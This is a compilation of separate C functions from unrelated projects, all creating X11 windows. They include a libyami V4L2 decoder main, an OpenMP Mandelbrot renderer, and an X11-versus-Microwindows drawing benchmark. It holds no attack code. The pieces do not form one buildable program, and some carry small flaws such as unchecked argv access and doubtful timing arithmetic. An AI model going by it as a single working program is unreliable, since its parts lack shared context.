int main(int argc, char** argv) { DecodeInput *input; int32_t fd = -1; int32_t i = 0; int32_t ioctlRet = -1; YamiMediaCodec::CalcFps calcFps; renderMode = 3; // set default render mode to 3 yamiTraceInit(); #if __ENABLE_V4L2_GLX__ XInitThreads(); #endif #if __ENABLE_V4L2_OPS__ // FIXME, use libv4l2codec_hw.so instead if (!loadV4l2CodecDevice("libyami_v4l2.so")) { ERROR("fail to init v4l2codec device with __ENABLE_V4L2_OPS__\n"); return -1; } #endif if (!process_cmdline(argc, argv)) return -1; if (!inputFileName) { ERROR("no input media file specified\n"); return -1; } INFO("input file: %s, renderMode: %d", inputFileName, renderMode); if (!dumpOutputName) dumpOutputName = strdup ("./"); #if !__ENABLE_V4L2_GLX__ switch (renderMode) { case 0: memoryType = VIDEO_DATA_MEMORY_TYPE_RAW_COPY; memoryTypeStr = typeStrRawData; break; case 3: memoryType = VIDEO_DATA_MEMORY_TYPE_DRM_NAME; memoryTypeStr = typeStrDrmName; break; case 4: memoryType = VIDEO_DATA_MEMORY_TYPE_DMA_BUF; memoryTypeStr = typeStrDmaBuf; break; default: ASSERT(0 && "unsupported render mode, -m [0,3,4] are supported"); break; } #endif input = DecodeInput::create(inputFileName); if (input==NULL) { ERROR("fail to init input stream\n"); return -1; } renderFrameCount = 0; calcFps.setAnchor(); // open device fd = SIMULATE_V4L2_OP(Open)("decoder", 0); ASSERT(fd!=-1); #ifdef ANDROID #elif __ENABLE_V4L2_GLX__ x11Display = XOpenDisplay(NULL); ASSERT(x11Display); ioctlRet = SIMULATE_V4L2_OP(SetXDisplay)(fd, x11Display); #endif // set output frame memory type #if __ENABLE_V4L2_OPS__ SIMULATE_V4L2_OP(SetParameter)(fd, "frame-memory-type", memoryTypeStr); #elif !__ENABLE_V4L2_GLX__ SIMULATE_V4L2_OP(FrameMemoryType)(fd, memoryType); #endif // query hw capability struct v4l2_capability caps; memset(&caps, 0, sizeof(caps)); caps.capabilities = V4L2_CAP_VIDEO_CAPTURE_MPLANE | V4L2_CAP_VIDEO_OUTPUT_MPLANE | V4L2_CAP_STREAMING; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_QUERYCAP, &caps); ASSERT(ioctlRet != -1); // set input/output data format uint32_t codecFormat = v4l2PixelFormatFromMime(input->getMimeType()); if (!codecFormat) { ERROR("unsupported mimetype, %s", input->getMimeType()); return -1; } struct v4l2_format format; memset(&format, 0, sizeof(format)); format.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; format.fmt.pix_mp.pixelformat = codecFormat; format.fmt.pix_mp.num_planes = 1; format.fmt.pix_mp.plane_fmt[0].sizeimage = k_maxInputBufferSize; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_S_FMT, &format); ASSERT(ioctlRet != -1); // set preferred output format memset(&format, 0, sizeof(format)); format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; uint8_t* data = (uint8_t*)input->getCodecData().data(); uint32_t size = input->getCodecData().size(); //save codecdata, size+data, the type of format.fmt.raw_data is __u8[200] //we must make sure enough space (>=sizeof(uint32_t) + size) to store codecdata memcpy(format.fmt.raw_data, &size, sizeof(uint32_t)); if(sizeof(format.fmt.raw_data) >= size + sizeof(uint32_t)) memcpy(format.fmt.raw_data + sizeof(uint32_t), data, size); else { ERROR("No enough space to store codec data"); return -1; } ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_S_FMT, &format); ASSERT(ioctlRet != -1); // input port starts as early as possible to decide output frame format __u32 type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_STREAMON, &type); ASSERT(ioctlRet != -1); // setup input buffers struct v4l2_requestbuffers reqbufs; memset(&reqbufs, 0, sizeof(reqbufs)); reqbufs.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; reqbufs.memory = V4L2_MEMORY_MMAP; reqbufs.count = 2; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_REQBUFS, &reqbufs); ASSERT(ioctlRet != -1); ASSERT(reqbufs.count>0); inputQueueCapacity = reqbufs.count; inputFrames.resize(inputQueueCapacity); for (i=0; i<inputQueueCapacity; i++) { struct v4l2_plane planes[k_inputPlaneCount]; struct v4l2_buffer buffer; memset(&buffer, 0, sizeof(buffer)); memset(planes, 0, sizeof(planes)); buffer.index = i; buffer.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; buffer.memory = V4L2_MEMORY_MMAP; buffer.m.planes = planes; buffer.length = k_inputPlaneCount; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_QUERYBUF, &buffer); ASSERT(ioctlRet != -1); // length and mem_offset should be filled by VIDIOC_QUERYBUF above void* address = SIMULATE_V4L2_OP(Mmap)(NULL, buffer.m.planes[0].length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, buffer.m.planes[0].m.mem_offset); ASSERT(address); inputFrames[i] = static_cast<uint8_t*>(address); DEBUG("inputFrames[%d] = %p", i, inputFrames[i]); } // feed input frames first for (i=0; i<inputQueueCapacity; i++) { if (!feedOneInputFrame(input, fd, i)) { break; } } // query video resolution memset(&format, 0, sizeof(format)); format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; while (1) { if (SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_G_FMT, &format) != 0) { if (errno != EINVAL) { // EINVAL means we haven't seen sufficient stream to decode the format. INFO("ioctl() failed: VIDIOC_G_FMT, haven't get video resolution during start yet, waiting"); } } else { break; } usleep(50); } outputPlaneCount = format.fmt.pix_mp.num_planes; ASSERT(outputPlaneCount == 2); videoWidth = format.fmt.pix_mp.width; videoHeight = format.fmt.pix_mp.height; ASSERT(videoWidth && videoHeight); #ifdef ANDROID __u32 pixelformat = format.fmt.pix_mp.pixelformat; if (!createNativeWindow(pixelformat)) { fprintf(stderr, "create native window error\n"); return -1; } int minUndequeuedBuffs = 0; status_t err = mNativeWindow->query(mNativeWindow.get(), NATIVE_WINDOW_MIN_UNDEQUEUED_BUFFERS, &minUndequeuedBuffs); if (err != 0) { fprintf(stderr, "query native window min undequeued buffers error\n"); return err; } #endif // setup output buffers // Number of output buffers we need. struct v4l2_control ctrl; memset(&ctrl, 0, sizeof(ctrl)); ctrl.id = V4L2_CID_MIN_BUFFERS_FOR_CAPTURE; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_G_CTRL, &ctrl); #ifndef ANDROID uint32_t minOutputFrameCount = ctrl.value + k_extraOutputFrameCount; #else uint32_t minOutputFrameCount = ctrl.value + k_extraOutputFrameCount + minUndequeuedBuffs; #endif memset(&reqbufs, 0, sizeof(reqbufs)); reqbufs.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; reqbufs.memory = V4L2_MEMORY_MMAP; reqbufs.count = minOutputFrameCount; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_REQBUFS, &reqbufs); ASSERT(ioctlRet != -1); ASSERT(reqbufs.count>0); outputQueueCapacity = reqbufs.count; #ifdef ANDROID #elif __ENABLE_V4L2_GLX__ x11Window = XCreateSimpleWindow(x11Display, DefaultRootWindow(x11Display) , 0, 0, videoWidth, videoHeight, 0, 0 , WhitePixel(x11Display, 0)); XMapWindow(x11Display, x11Window); pixmaps.resize(outputQueueCapacity); glxPixmaps.resize(outputQueueCapacity); textureIds.resize(outputQueueCapacity); if (!glxContext) { glxContext = glxInit(x11Display, x11Window); } ASSERT(glxContext); glGenTextures(outputQueueCapacity, &textureIds[0] ); for (i=0; i<outputQueueCapacity; i++) { int ret = createPixmapForTexture(glxContext, textureIds[i], videoWidth, videoHeight, &pixmaps[i], &glxPixmaps[i]); DEBUG("textureIds[%d]: 0x%x, pixmaps[%d]=0x%lx, glxPixmaps[%d]: 0x%lx", i, textureIds[i], i, pixmaps[i], i, glxPixmaps[i]); ASSERT(ret == 0); ret = SIMULATE_V4L2_OP(UsePixmap)(fd, i, pixmaps[i]); ASSERT(ret == 0); } #else if (IS_RAW_DATA()) { rawOutputFrames.resize(outputQueueCapacity); for (i=0; i<outputQueueCapacity; i++) { struct v4l2_plane planes[k_maxOutputPlaneCount]; struct v4l2_buffer buffer; memset(&buffer, 0, sizeof(buffer)); memset(planes, 0, sizeof(planes)); buffer.index = i; buffer.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; buffer.memory = V4L2_MEMORY_MMAP; buffer.m.planes = planes; buffer.length = outputPlaneCount; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_QUERYBUF, &buffer); ASSERT(ioctlRet != -1); rawOutputFrames[i].width = format.fmt.pix_mp.width; rawOutputFrames[i].height = format.fmt.pix_mp.height; rawOutputFrames[i].fourcc = format.fmt.pix_mp.pixelformat; for (int j=0; j<outputPlaneCount; j++) { // length and mem_offset are filled by VIDIOC_QUERYBUF above void* address = SIMULATE_V4L2_OP(Mmap)(NULL, buffer.m.planes[j].length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, buffer.m.planes[j].m.mem_offset); ASSERT(address); if (j == 0) { rawOutputFrames[i].data = static_cast<uint8_t*>(address); rawOutputFrames[i].offset[0] = 0; } else { rawOutputFrames[i].offset[j] = static_cast<uint8_t*>(address) - rawOutputFrames[i].data; } rawOutputFrames[i].pitch[j] = format.fmt.pix_mp.plane_fmt[j].bytesperline; } } } else if (IS_DMA_BUF() || IS_DRM_NAME()) { // setup all textures and eglImages eglImages.resize(outputQueueCapacity); textureIds.resize(outputQueueCapacity); if (!eglContext) eglContext = eglInit(x11Display, x11Window, 0 /*VA_FOURCC_RGBA*/, IS_DMA_BUF()); glGenTextures(outputQueueCapacity, &textureIds[0] ); for (i=0; i<outputQueueCapacity; i++) { int ret = 0; ret = SIMULATE_V4L2_OP(UseEglImage)(fd, eglContext->eglContext.display, eglContext->eglContext.context, i, &eglImages[i]); ASSERT(ret == 0); GLenum target = GL_TEXTURE_2D; if (IS_DMA_BUF()) target = GL_TEXTURE_EXTERNAL_OES; glBindTexture(target, textureIds[i]); imageTargetTexture2D(target, eglImages[i]); glTexParameteri(target, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(target, GL_TEXTURE_MAG_FILTER, GL_NEAREST); DEBUG("textureIds[%d]: 0x%x, eglImages[%d]: 0x%p", i, textureIds[i], i, eglImages[i]); } } #endif #ifndef ANDROID // feed output frames first for (i=0; i<outputQueueCapacity; i++) { if (!takeOneOutputFrame(fd, i)) { ASSERT(0); } } #else struct v4l2_buffer buffer; err = native_window_set_buffer_count(mNativeWindow.get(), outputQueueCapacity); if (err != 0) { fprintf(stderr, "native_window_set_buffer_count failed: %s (%d)", strerror(-err), -err); return -1; } //queue buffs for (uint32_t i = 0; i < outputQueueCapacity; i++) { ANativeWindowBuffer* pbuf = NULL; memset(&buffer, 0, sizeof(buffer)); err = native_window_dequeue_buffer_and_wait(mNativeWindow.get(), &pbuf); if (err != 0) { fprintf(stderr, "dequeueBuffer failed: %s (%d)\n", strerror(-err), -err); return -1; } buffer.m.userptr = (unsigned long)pbuf; buffer.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; buffer.index = i; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_QBUF, &buffer); ASSERT(ioctlRet != -1); mWindBuff.push_back(pbuf); } for (uint32_t i = 0; i < minUndequeuedBuffs; i++) { memset(&buffer, 0, sizeof(buffer)); buffer.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_DQBUF, &buffer); ASSERT(ioctlRet != -1); err = mNativeWindow->cancelBuffer(mNativeWindow.get(), mWindBuff[buffer.index], -1); if (err) { fprintf(stderr, "queue empty window buffer error\n"); return -1; } } #endif // output port starts as late as possible to adopt user provide output buffer type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_STREAMON, &type); ASSERT(ioctlRet != -1); bool event_pending=true; // try to get video resolution. int dqCountAfterEOS = 0; do { if (event_pending) { handleResolutionChange(fd); } takeOneOutputFrame(fd); if (!feedOneInputFrame(input, fd)) { if (stagingBufferInDevice == 0) break; dqCountAfterEOS++; } if (dqCountAfterEOS == inputQueueCapacity) // input drain break; } while (SIMULATE_V4L2_OP(Poll)(fd, true, &event_pending) == 0); // drain output buffer int retry = 3; while (takeOneOutputFrame(fd) || (--retry)>0) { // output drain usleep(10000); } calcFps.fps(renderFrameCount); // SIMULATE_V4L2_OP(Munmap)(void* addr, size_t length) possibleWait(input->getMimeType()); // release queued input/output buffer memset(&reqbufs, 0, sizeof(reqbufs)); reqbufs.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; reqbufs.memory = V4L2_MEMORY_MMAP; reqbufs.count = 0; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_REQBUFS, &reqbufs); ASSERT(ioctlRet != -1); memset(&reqbufs, 0, sizeof(reqbufs)); reqbufs.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; reqbufs.memory = V4L2_MEMORY_MMAP; reqbufs.count = 0; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_REQBUFS, &reqbufs); ASSERT(ioctlRet != -1); // stop input port type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_STREAMOFF, &type); ASSERT(ioctlRet != -1); // stop output port type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; ioctlRet = SIMULATE_V4L2_OP(Ioctl)(fd, VIDIOC_STREAMOFF, &type); ASSERT(ioctlRet != -1); #ifndef ANDROID if(textureIds.size()) glDeleteTextures(textureIds.size(), &textureIds[0]); ASSERT(glGetError() == GL_NO_ERROR); #endif #ifdef ANDROID //TODO, some resources need to destroy? #elif __ENABLE_V4L2_GLX__ glxRelease(glxContext, &pixmaps[0], &glxPixmaps[0], pixmaps.size()); #else for (i=0; i<eglImages.size(); i++) { destroyImage(eglContext->eglContext.display, eglImages[i]); } /* there is still randomly fail in mesa; no good idea for it. seems mesa bug 0 0x00007ffff079c343 in _mesa_symbol_table_dtor () from /usr/lib/x86_64-linux-gnu/libdricore9.2.1.so.1 1 0x00007ffff073c55d in glsl_symbol_table::~glsl_symbol_table() () from /usr/lib/x86_64-linux-gnu/libdricore9.2.1.so.1 2 0x00007ffff072a4d5 in ?? () from /usr/lib/x86_64-linux-gnu/libdricore9.2.1.so.1 3 0x00007ffff072a4bd in ?? () from /usr/lib/x86_64-linux-gnu/libdricore9.2.1.so.1 4 0x00007ffff064b48f in _mesa_reference_shader () from /usr/lib/x86_64-linux-gnu/libdricore9.2.1.so.1 5 0x00007ffff0649397 in ?? () from /usr/lib/x86_64-linux-gnu/libdricore9.2.1.so.1 6 0x000000000040624d in releaseShader (program=0x77cd90) at ./egl/gles2_help.c:158 7 eglRelease (context=0x615920) at ./egl/gles2_help.c:310 8 0x0000000000402ca8 in main (argc=<optimized out>, argv=<optimized out>) at v4l2decode.cpp:531 */ if (eglContext) eglRelease(eglContext); #endif // close device ioctlRet = SIMULATE_V4L2_OP(Close)(fd); ASSERT(ioctlRet != -1); if(input) delete input; if (outfp) fclose(outfp); if (dumpOutputName) free(dumpOutputName); #if __ENABLE_V4L2_GLX__ if (x11Display && x11Window) XDestroyWindow(x11Display, x11Window); if (x11Display) XCloseDisplay(x11Display); #endif fprintf(stdout, "decode done\n"); }
int main(int argc, char *argv[]) { Display *display; Window window; //initialization for a window int screen; //which screen /* set window size */ int width = atoi(argv[6]); int height = atoi(argv[7]); int xleft = atoi(argv[2]); int yleft = atoi(argv[4]); int xright = atoi(argv[3]); int yright = atoi(argv[5]); int NUM_THREADS = atoi(argv[1]); double xrange = xright - xleft; double yrange = yright - yleft; /* set window position */ int x = 0; int y = 0; int NUM_PROCS = omp_get_num_procs(); struct timeval tv1, tv2; double timeStart, timeEnd; gettimeofday(&tv1, NULL); timeStart = tv1.tv_sec * 1000000 + tv1.tv_usec; GC gc; printf("X Window is %sd\n", argv[8]); xflag = strcmp(argv[8], "enable"); omp_set_num_threads(NUM_THREADS); omp_set_nested(1); printf("Total %d threads functioning among %d processors\n", NUM_THREADS, NUM_PROCS); int nest = omp_get_nested(); printf("omp_nested is set to %d\n", nest); if (xflag == 0){ /* open connection with the server */ display = XOpenDisplay(NULL); if(display == NULL) { fprintf(stderr, "cannot open display\n"); return -1; } screen = DefaultScreen(display); /* border width in pixels */ int border_width = 0; /* create window */ window = XCreateSimpleWindow(display, RootWindow(display, screen), x, y, width, height, border_width, BlackPixel(display, screen), WhitePixel(display, screen)); /* create graph */ XGCValues values; long valuemask = 0; gc = XCreateGC(display, window, valuemask, &values); //XSetBackground (display, gc, WhitePixel (display, screen)); XSetForeground (display, gc, BlackPixel (display, screen)); XSetBackground(display, gc, 0X0000FF00); XSetLineAttributes (display, gc, 1, LineSolid, CapRound, JoinRound); /* map(show) the window */ XMapWindow(display, window); XSync(display, 0); } // Parameters Compl z, c; int repeats; double temp, lengthsq; int i, j; int fakewidth; int task; int localw = 0; int nlocal = 100; int tid; int width1; int judge=0; int cnt; for(cnt=0; cnt<NUM_THREADS; cnt++){ rowCnt[cnt] = 0; thgap[cnt] = 0; } #pragma omp parallel num_threads(NUM_THREADS) private(tid, temp, lengthsq, z, c, repeats, i, j) { tid = omp_get_thread_num(); printf("Thread %d!!\n", tid); #pragma omp for schedule(static, 1) for(i=0; i<width; i++) { for(j=0; j<height; j++) { gettimeofday(&thtv1[tid], NULL); thtimeStart[tid] = thtv1[tid].tv_sec * 1000000 + thtv1[tid].tv_usec; z.real = 0.0; z.imag = 0.0; c.real = xleft + (double)i * (xrange/(double)width); c.imag = yleft + (double)j * (yrange/(double)height); repeats = 0; lengthsq = 0.0; while(repeats < 100000 && lengthsq < 4.0) { temp = z.real*z.real - z.imag*z.imag + c.real; z.imag = 2*z.real*z.imag + c.imag; z.real = temp; lengthsq = z.real*z.real + z.imag*z.imag; repeats++; } #pragma omp critical { rowData[i][j] = repeats; rowCnt[tid]++; gettimeofday(&thtv2[tid], NULL); thtimeEnd[tid] = thtv2[tid].tv_sec * 1000000 + thtv2[tid].tv_usec; thgap[tid] += (thtimeEnd[tid]-thtimeStart[tid]) / CLOCKS_PER_SEC; } } } #pragma omp barrier } // Draw the graph if(xflag == 0){ for(i=0; i<width; i++) { for(j=0; j<height; j++) { XSetForeground (display, gc, 1024 * 1024 * (rowData[i][j] % 256)); XDrawPoint (display, window, gc, i, j); } } XFlush(display); } gettimeofday(&tv2, NULL); timeEnd = tv2.tv_sec * 1000000 + tv2.tv_usec; double gap = (timeEnd-timeStart) / CLOCKS_PER_SEC; printf("OOOOOOO Graph Drawing Done OOOOOO\n"); printf("Threads : %d\n", NUM_THREADS); printf("Running time : %lf\n", gap); printf("\n"); for(cnt=0; cnt<NUM_THREADS; cnt++){ printf("Thread %d computed %d points consuming %1f seconds\n", cnt, rowCnt[cnt], thgap[cnt]); } printf("\n"); FILE *outFile; outFile = fopen(argv[9], "a"); fprintf(outFile, "Threads : %d \n", NUM_THREADS); fprintf(outFile, "Running time : %lf\n\n", gap); fclose(outFile); sleep(5); return 0; }
static void* display_create (const void* arg) { display_t* display = malloc (sizeof (display_t)); /* open connection with the server */ display->display = XOpenDisplay (NULL); if (display->display == NULL) { fprintf (stderr, "Cannot open display\n"); exit (EXIT_FAILURE); } display->fd = ConnectionNumber (display->display); display->screen = DefaultScreen (display->display); /* create window */ display->window = XCreateSimpleWindow (display->display, RootWindow (display->display, display->screen), X_OFFSET, Y_OFFSET, WIDTH, HEIGHT, BORDER_WIDTH, BlackPixel (display->display, display->screen), WhitePixel (display->display, display->screen)); // Prosses Window Close Event through event handler so XNextEvent does Not fail display->del_window = XInternAtom (display->display, "WM_DELETE_WINDOW", 0); XSetWMProtocols (display->display, display->window, &display->del_window, 1); /* select kind of events we are interested in */ XSelectInput (display->display, display->window, StructureNotifyMask | ExposureMask | KeyPressMask); /* map (show) the window */ XMapWindow (display->display, display->window); XFlush (display->display); display->data = malloc (WIDTH * HEIGHT * sizeof (rgb_t)); int depth = DefaultDepth (display->display, display->screen); Visual* visual = DefaultVisual (display->display, display->screen); /* I assume these. * Generlize later. */ assert (depth == 24); assert (visual->red_mask == 0x00FF0000); assert (visual->green_mask == 0x0000FF00); assert (visual->blue_mask == 0x000000FF); display->image = XCreateImage (display->display, CopyFromParent, depth, ZPixmap, 0, (char *)display->data, WIDTH, HEIGHT, 32, 0); assert (1 == XInitImage (display->image)); return display; }
void init_window(void) { XSetWindowAttributes attributes; unsigned long attr_mask=0, event_mask=0; XSizeHints sizehints; XClassHint class_hints; XWMHints wmhints; XGCValues xgcvalues; Cursor cursor; if (NULL == (display = XOpenDisplay(NULL))) { fprintf(stderr, "Cannot connect to X server: %s\n", XDisplayName(NULL)); exit(1); } screen = DefaultScreen(display); rootwindow = RootWindow(display, screen); event_mask = ButtonPressMask | ExposureMask | KeyPressMask | PointerMotionMask; cursor = XCreateFontCursor(display, XC_pirate); attributes.event_mask = event_mask; attributes.border_pixel = BlackPixel(display, screen); attributes.background_pixel = WhitePixel(display, screen); attributes.cursor = cursor; attr_mask = CWEventMask | CWBackPixel | CWBorderPixel | CWCursor; window = XCreateWindow(display, rootwindow, 0, 0, WIN_WIDTH, WIN_HEIGHT, 2, CopyFromParent, InputOutput, CopyFromParent, attr_mask, &attributes); sizehints.height = WIN_HEIGHT; sizehints.width = WIN_WIDTH; sizehints.x = 0; sizehints.y = 0; sizehints.flags = USSize | USPosition; XSetWMNormalHints(display, window, &sizehints); XStoreName(display, window, WIN_TITLE); class_hints.res_class = PROGGYCLASS; class_hints.res_name = PROGGYNAME; XSetClassHint(display, window, &class_hints); wmhints.flags = InputHint | StateHint; wmhints.initial_state = NormalState; wmhints.input = True; XSetWMHints(display, window, &wmhints); xgcvalues.foreground = BlackPixel(display, screen); xgcvalues.background = WhitePixel(display, screen); gc = XCreateGC(display, (Drawable) window, (GCForeground | GCBackground), &xgcvalues); font = XLoadQueryFont(display, FONT); have_font = True; if (font == NULL) font = XLoadQueryFont(display, BACKFONT); if (font == NULL) have_font = False; if (have_font) { font_height = font->ascent + font->descent; XSetFont(display, gc, font->fid); } XMapRaised(display, window); XFlush(display); }
int main() { #ifdef TEST_FOR_X Display *display; Window window; GC gc; XGCValues gcValues; Colormap colormap; Pixmap src_pixmap; unsigned long fgColor, bgColor; int screenNum; XPoint points[NUM_POINTS]; #else GR_WINDOW_ID window; GR_WINDOW_ID src_pixmap; unsigned char* src_pixmap_buf[320*240*2]; GR_GC_ID gc; GR_POINT points[NUM_POINTS]; #endif int c, c1, count=4500; int x, y, x1, y1, x2, y2; #ifdef TEST_FOR_X if(!(display=XOpenDisplay(""))) { printf("Cannot connect to X.\n"); } screenNum = DefaultScreen(display); colormap = DefaultColormap(display, screenNum); bgColor = BlackPixel(display, screenNum); fgColor = WhitePixel(display, screenNum); window = XCreateSimpleWindow(display, RootWindow(display, screenNum), 0, 0 , 639, 479, 0, fgColor, bgColor); src_pixmap = XCreatePixmap(display, window, 320, 240, 16); XMapRaised(display, window); gcValues.background = bgColor; gcValues.foreground = fgColor; gcValues.line_width = 1; gcValues.line_style = LineSolid; gcValues.fill_style = FillSolid; gcValues.fill_rule = WindingRule; gcValues.arc_mode = ArcPieSlice; gc = XCreateGC(display, window, GCForeground | GCBackground | GCLineWidth | GCLineStyle | GCFillStyle, &gcValues); #else GrOpen(); window = GrNewWindow(GR_ROOT_WINDOW_ID, 0, 0, 639, 479, 0, BLACK, BLUE); src_pixmap = GrNewPixmap(640, 480, src_pixmap_buf); GrMapWindow(window); gc = GrNewGC(); GrSetGCForeground(gc, WHITE); GrSetGCBackground(gc, BLACK); GrSetGCMode(gc, GR_MODE_SET); #endif // Horizontal Line //////////////////////////////////////////////// printf("Horizontal Line(XDrawLine)\n"); start_timer(); for(c=0; c<count*20; c++) { y1=random()%480; #ifdef TEST_FOR_X XDrawLine(display, window, gc, 0, y1, 639, y1); XFlush(display); #else GrLine(window, gc, 0, y1, 639, y1); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // Vertical Line ///////////////////////////////////////////////// printf("Vertical Line(XDrawLine)\n"); start_timer(); for(c=0; c<count*19; c++) { x1=random()%640; #ifdef TEST_FOR_X XDrawLine(display, window, gc, x1, 0, x1, 479); XFlush(display); #else GrLine(window, gc, x1, 0, x1, 479); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // General Line ///////////////////////////////////////////////// printf("General Line(XDrawLine)\n"); start_timer(); for(c=0; c<count*22; c++) { x1 = random()%640; x2 = random()%640; y1 = random()%480; y2 = random()%480; #ifdef TEST_FOR_X XDrawLine(display, window, gc, x1, y1, x2, y2); XFlush(display); #else GrLine(window, gc, x1, y1, x2, y2); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // Point ////////////////////////////////////////////////// printf("XPoint\n"); start_timer(); for(c=0; c<count*25; c++) { x1 = random()%640; y1 = random()%480; #ifdef TEST_FOR_X XDrawPoint(display, window, gc, x1, y1); XFlush(display); #else GrPoint(window, gc, x1, y1); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // Rectangle ////////////////////////////////////////////////// printf("XRectangle\n"); start_timer(); for(c=0; c<count*20; c++) { x1=random()%639; y1=random()%479; x2=random()%(639-x1)+1; y2=random()%(479-y1)+1; #ifdef TEST_FOR_X XDrawRectangle(display, window, gc, x1, y1, x2, y2); XFlush(display); #else GrRect(window, gc, x1, y1, x2, y2); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // FillRectangle ////////////////////////////////////////////////// printf("XFillRectangle\n"); start_timer(); for(c=0; c<count*18; c++) { x1=random()%639; y1=random()%479; x2=random()%(639-x1)+1; y2=random()%(479-y1)+1; #ifdef TEST_FOR_X XFillRectangle(display, window, gc, x1, y1, x2, y2); XFlush(display); #else GrFillRect(window, gc, x1, y1, x2, y2); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // FillPolygon ////////////////////////////////////////////////// printf("XFillPolygon\n"); start_timer(); for(c=0; c<count; c++) { for(c1=0; c1<NUM_POINTS; c1++) { points[c1].x = random()%640; points[c1].y = random()%480; } #ifdef TEST_FOR_X XFillPolygon(display, window, gc, points, NUM_POINTS, 0, 0); XFlush(display); #else GrFillPoly(window, gc, NUM_POINTS, points); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XClearWindow(display, window); #else GrClearWindow(window, GR_TRUE); #endif // CopyArea ///////////////////////////////////////////////// printf("XCopyArea\n"); start_timer(); for(c=0; c<count*5; c++) { x1=random()%320; y1=random()%240; x2=random()%319+1; y2=random()%239+1; #ifdef TEST_FOR_X XCopyArea(display, src_pixmap, window, gc, 0, 0, x2, y2, x1, y1); XFlush(display); #else GrCopyArea(window, gc, x1, y1, x2 ,y2, src_pixmap, 0, 0, 0); GrFlush(); #endif } end_timer(); #ifdef TEST_FOR_X XDestroyWindow(display, window); #else GrClose(); #endif }
void tela_inicializa(tela_t* tela, tamanho_t tam, char* nome) { unsigned long valuemask = 0; XGCValues values; XSetWindowAttributes attr; unsigned long mask = 0L; /* inicializa dados sobre o mouse */ tela->rato.x = 0; tela->rato.y = 0; tela->botao = false; tela->tecla = 0; /* conecta com servidor X */ if ((tela->display = XOpenDisplay(NULL)) == NULL) { fprintf(stderr, "falha na conexao com servidor X %s\n", XDisplayName(NULL)); exit(-1); } tela->screen = DefaultScreen(tela->display); /* cria a janela */ attr.event_mask = EVENT_MASK; attr.background_pixel = WhitePixel(tela->display, tela->screen); attr.border_pixel = WhitePixel(tela->display, tela->screen); attr.backing_store = Always; attr.save_under = True; mask = CWEventMask | CWBackPixel | CWBorderPixel | CWBackingStore | CWSaveUnder; tela->tam = tam; tela->window = XCreateWindow(tela->display, RootWindow(tela->display, tela->screen), 0, 0, tam.larg, tam.alt, 0, 0, InputOutput, (Visual *) CopyFromParent, mask, &attr); tela->pixmap = XCreatePixmap(tela->display, RootWindow(tela->display, tela->screen), tam.larg, tam.alt, DefaultDepth(tela->display, tela->screen)); XStoreName(tela->display, tela->window, nome); /* Titulo da tela */ /* cria contextos grafico */ tela->gc_fundo = XCreateGC(tela->display, tela->window, valuemask, &values); XSetBackground(tela->display, tela->gc_fundo, WhitePixel(tela->display, tela->screen)); XSetForeground(tela->display, tela->gc_fundo, WhitePixel(tela->display, tela->screen)); tela->gc = XCreateGC(tela->display, tela->window, valuemask, &values); XSetBackground(tela->display, tela->gc, WhitePixel(tela->display, tela->screen)); XSetForeground(tela->display, tela->gc, BlackPixel(tela->display, tela->screen)); XSetLineAttributes(tela->display, tela->gc, 1, LineSolid, CapRound, JoinRound); /* mapeia a janela na tela */ XMapWindow(tela->display, tela->window); XSync(tela->display, 0); }
